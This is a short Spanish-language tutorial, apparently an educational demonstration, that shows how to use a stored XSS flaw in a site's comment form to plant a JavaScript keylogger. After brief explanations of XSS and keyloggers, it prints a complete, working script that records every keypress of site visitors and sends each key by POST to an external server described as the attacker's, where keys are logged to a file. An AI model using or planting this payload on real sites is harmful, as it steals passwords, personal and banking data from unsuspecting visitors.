Objetivo: Simular un ataque de inyección de código (XSS) a aun sitio web vulnerable para instalar un keylogger y obtener información sensible.
¿Qué es un Ataque XSS?
Un ataque XSS (Cross-Site Scripting) es un tipo de vulnerabilidad de seguridad web que permite a un atacante inyectar código malicioso (generalmente scripts) en un sitio web legítimo para que se ejecute en el navegador del usuario que visita el sitio. Los atacantes usan XSS para robar información sensible como las cookies de sesión, redirigir a los usuarios a sitios maliciosos, desfigurar páginas o robar credenciales.
La prueba consiste en aprovechar una vulnerabilidad del sitio web de la víctima y mediante inyección JavaScript en el formulario de comentarios se coloca un fragmento de código malicioso (keylogger), que luego es ejecutado por el sitio al mostrar los comentarios.
¿Qué es un keylogger?
Un keylogger es un software o dispositivo que registra secretamente cada pulsación de teclas en una computadora o dispositivo móvil, capturando contraseñas, información personal y datos bancarios para enviarlos a un tercero. Son una forma peligrosa de spyware que puede usarse para cometer fraude, robo de identidad y otros delitos.
Código malicioso
Una vez este keylogger es inyectado en la caja de comentarios del sitio web de la víctima, este registra cada pulsación de tecla que realicen los visitantes del sitio y envía la información a un servidor controlado por el atacante.
<script>document.onkeypress = function(evt) {evt = evt || window.event;const key = String.fromCharCode(evt.charCode);if (key) {const param = encodeURI(key);fetch('https://proyectosfm1.x10host.com/Ejemplos/AtaqueXSS/web_hacker/index.php', {method: 'POST',headers: {'Content-type': 'application/x-www-form-urlencoded'},body: 'key=' + param});}};</script>
Las teclas que presionen los visitantes serán registradas en el siguiente archivo keylog.txt que se encuentra en la web del atacante.